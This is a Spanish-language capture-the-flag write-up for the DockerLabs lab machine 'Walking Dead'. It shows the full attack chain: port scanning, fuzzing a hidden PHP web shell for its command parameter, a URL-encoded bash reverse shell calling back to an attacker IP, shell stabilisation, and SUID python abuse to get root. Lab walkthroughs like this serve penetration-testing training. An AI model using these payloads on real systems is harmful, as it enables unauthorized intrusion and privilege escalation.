Walking Dead
🚀Preparación del Entorno
El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:
📌 Paso 1: Descargar el archivo CTF
Descarga el archivo ZIP del CTF que deseas utilizar.
📌 Paso 2: Descomprimir el archivo
Ejecuta el siguiente comando en la terminal:
unzip [nombre].zip
📂 Esto extraerá los siguientes archivos:
auto_deploy.sh(script de despliegue).[nombre].tar(imagen de la máquina virtual).
📌 Paso 3: Ejecutar el script de despliegue
Para iniciar el despliegue de la máquina virtual, ejecuta:
sudo bash auto_deploy.sh [nombre].tar
🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.
🎯Resolución
🔍 Reconocimiento
Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
-sVC: Escaneo de versiones de servicios y ejecución de scripts.-p-: Escanea todos los puertos (1-65535).-n: Desactiva la resolución DNS.--min-rate 5000: Envía paquetes a una tasa mínima de 5000 por segundo para acelerar el escaneo.

El escaneo revela la presencia de un servicio HTTP en el puerto 80 y un servicio SSH en el puerto 22.
Entramos a la página

Como es habitual, inspeccionamos el código fuente de la página. En este caso, encontramos un script interesante:

🕵️Análisis de vulnerabilidades
Utilizamos ffuf para descubrir parámetros HTTP que puedan ejecutar comandos:
ffuf -c -r -t 200 -fc 404 -fs 0 -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u "http://172.17.0.2/hidden/.shell.php?FUZZ=id"
Explicación de la línea:
-
-w: Diccionario con nombres de parámetros comunes (burp-parameter-names). -
-u: URL objetivo conFUZZdonde se probarán los parámetros. -
-fc 404: Filtra respuestas con código 404. -
-fs 0: Filtra respuestas vacías. -
-r: Sigue redirecciones. -
-t 200: 200 hilos para máxima velocidad.
Se identifica que el parámetro vulnerable escmd:


obtenemos una respuesta válida, lo que confirma que tenemos ejecución remota de comandos (RCE) en el servidor web.
🎯 Explotación
Para facilitar el acceso, usamos la herramienta en línea ReverseShells. Seleccionamos:
-
IP del atacante:
172.17.0.1 -
Puerto:
9001
En la máquina atacante escuchamos con:
nc -lvnp 9001
Generamos el payload en bash, lo codificamos en URL y lo utilizamos así:
http://172.17.0.2/hidden/.shell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/172.17.0.1/9001%200%3E%261%22
📸 Conexión exitosa:

Para mejorar la experiencia, ejecutamos los siguientes comandos:
script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash
Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:
# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115
📈 Escalada de privilegios
Una vez con acceso al sistema, buscamos archivos con el bit SUID activado para identificar posibles vectores de escalada local:
find / -type f -perm -4000 2>/dev/null
🔍 Este comando lista archivos ejecutables con permisos de usuario propietario (root) que pueden ser explotados.
🚨 Archivos SUID Interesantes

Identificamos que el binario python tiene permisos SUID, lo que significa que se ejecuta con los privilegios del propietario (en este caso, root). Este comportamiento puede ser aprovechado para escalar privilegios a nivel administrador.
🔎 Consultando la página de GTFOBins - python, encontramos una técnica para abusar del SUID y obtener una shell como root.
💣 Ejecutamos el siguiente comando:
/usr/bin/python3.8 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
